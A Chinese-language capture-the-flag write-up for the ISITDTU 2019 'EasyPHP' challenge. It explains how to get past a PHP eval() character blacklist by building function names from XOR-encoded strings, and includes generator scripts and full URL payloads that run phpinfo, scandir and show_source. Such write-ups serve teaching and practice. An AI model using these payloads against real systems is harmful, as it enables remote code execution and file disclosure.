ISITDTU2019EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

代码逻辑很简单:

1.对数字和部分字母字符进行了过滤

2.对字符的种类进行了限制,只能在13个以内

先看一下还有哪些内置函数是可用的:

1
2
3
4
5
6
$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bcmul
rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max
virtual

这些内置函数是可用的,但是没什么利用价值,试了可以发现 ^ 和 ~ 没有被过滤,这里可以尝试用异或来构造,附上一个php的jio本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$argv=str_split("phpinfo");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k=chr($j)^chr(255);
if($k==$argv[$i])
{
if($j<16)
{
$l="%ff";
$m="%0".dechex($j);
echo "$m^$l";
echo " ";
break;
}
else
{
$l="%ff";
$m="%".dechex($j);
echo "$m^$l";
echo " ";
break;
}
}

}
}

得到:

(%8f%97%8f%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff)

传一下我们的payload:

?_=((%8f%97%8f%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))(); #构造phpinfo();

可以打出phpinfo(注意 ()这种语法只适用于php7以后的

接着我们构造 print_r(scandir(‘.’)) 来打印出当前目录下的文件名

构造方法还是用那个脚本,构造出:

((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

但是很明显超过了限制的字符种类数,这个时候就是套娃,用已有的三个字符去异或来去等效之前的一个字符,同时控制在规定的数量以内,我们可以一个一个的去减少,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # after delete
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

一个一个的减少,最后发现11个字符达到的效果,其中8个字符就可以达到了。

于是得到的payload:

?_=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

于是发现存在 n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt 文件,但是之前通过读取phpinfo,我们可以发现 disabled_function禁用了很多函数

于是我们用同样思想的脚本来构造出 show_source(end(scandir(.)));

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
result2 = [160, 136, 138, 140, 141, 144, 145, 209, 150, 151, 154, 155, 156, 158]  
result = [160, 136, 141, 209, 151, 154, 155, 156]
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if (a == b == c == d) or (a==b) or (b==c) or (c==d) or(a==c):
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

最后的payload:

?-=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a) ^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c) ^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

小结:

学到了一些思想和新奇的思路,被极客们天马行空的想法折服!